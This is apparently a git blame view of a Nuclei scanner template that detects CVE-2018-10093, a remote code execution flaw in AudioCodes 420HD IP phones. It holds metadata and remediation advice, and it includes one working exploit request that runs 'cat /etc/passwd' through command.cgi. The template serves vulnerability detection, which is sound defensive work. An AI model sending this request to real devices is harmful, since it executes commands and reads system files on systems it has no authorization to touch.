daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/cves/2018/CVE-2018-10093.yaml

44 lines
1.4 KiB
YAML
Raw Normal View History

Create CVE-2018-10093.yaml
2021-10-18 12:44:09 +00:00
id: CVE-2018-10093
info:
Enhancement: cves/2018/CVE-2018-10093.yaml by mp
2022-06-19 15:33:04 +00:00
name: AudioCode 420HD - Remote Code Execution
Create CVE-2018-10093.yaml
2021-10-18 12:44:09 +00:00
author: wisnupramoedya
Auto Generated CVE annotations [Mon Oct 18 15:19:41 UTC 2021] :robot:
2021-10-18 15:19:41 +00:00
severity: high
Update CVE-2018-10093.yaml
2022-06-20 15:52:23 +00:00
description: |
Auto Generated CVE annotations [Mon Jun 20 17:58:28 UTC 2022] :robot:
2022-06-20 17:58:28 +00:00
AudioCodes IP phone 420HD devices using firmware version 2.2.12.126 allow remote code execution.
updated 2018 CVEs
2023-09-06 12:57:14 +00:00
remediation: |
Apply the latest firmware update provided by AudioCodes to fix the vulnerability and ensure proper input validation.
Create CVE-2018-10093.yaml
2021-10-18 12:44:09 +00:00
reference:
- https://www.exploit-db.com/exploits/46164
- https://nvd.nist.gov/vuln/detail/CVE-2018-10093
Auto Generated CVE annotations [Mon Jun 20 17:58:28 UTC 2022] :robot:
2022-06-20 17:58:28 +00:00
- https://www.exploit-db.com/exploits/46164/
- http://seclists.org/fulldisclosure/2019/Jan/38
Auto Generated CVE annotations [Mon Oct 18 15:19:41 UTC 2021] :robot:
2021-10-18 15:19:41 +00:00
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
cvss-score: 8.8
Auto Generated CVE annotations [Mon Oct 18 15:19:41 UTC 2021] :robot:
2021-10-18 15:19:41 +00:00
cve-id: CVE-2018-10093
cwe-id: CWE-862
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
epss-score: 0.06287
TemplateMan Update [Mon Nov 27 09:19:41 UTC 2023] :robot:
2023-11-27 09:19:41 +00:00
epss-percentile: 0.92858
updated 2018 CVEs
2023-09-06 12:57:14 +00:00
cpe: cpe:2.3:o:audiocodes:420hd_ip_phone_firmware:2.2.12.126:*:*:*:*:*:*:*
Added max request counter of each template
2023-04-28 08:11:21 +00:00
metadata:
max-request: 1
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
vendor: audiocodes
product: 420hd_ip_phone_firmware
tags: cve,cve2018,rce,iot,audiocode,edb,seclists
Create CVE-2018-10093.yaml
2021-10-18 12:44:09 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Create CVE-2018-10093.yaml
2021-10-18 12:44:09 +00:00
- method: GET
path:
- "{{BaseURL}}/command.cgi?cat%20/etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
Fix for potential false positives See also following issue: https://github.com/projectdiscovery/nuclei-templates/issues/3065
2021-11-04 11:07:38 +00:00
- "admin:.*:*sh$"
Create CVE-2018-10093.yaml
2021-10-18 12:44:09 +00:00
- type: status
status:
- 200
Auto Template Signing [Mon Nov 27 10:10:24 UTC 2023] :robot:
2023-11-27 10:10:24 +00:00
# digest: 4a0a0047304502202c8ea61fcd2249cf7bd3c4c02ec843c3b59a2f64bbbe9c3d7b770a2c3364f53a02210099f9ce0e41be23f55d4334c73278694bc5865119f78099a9313376806f708da9:922c64590222798bb761d5b6d8e72950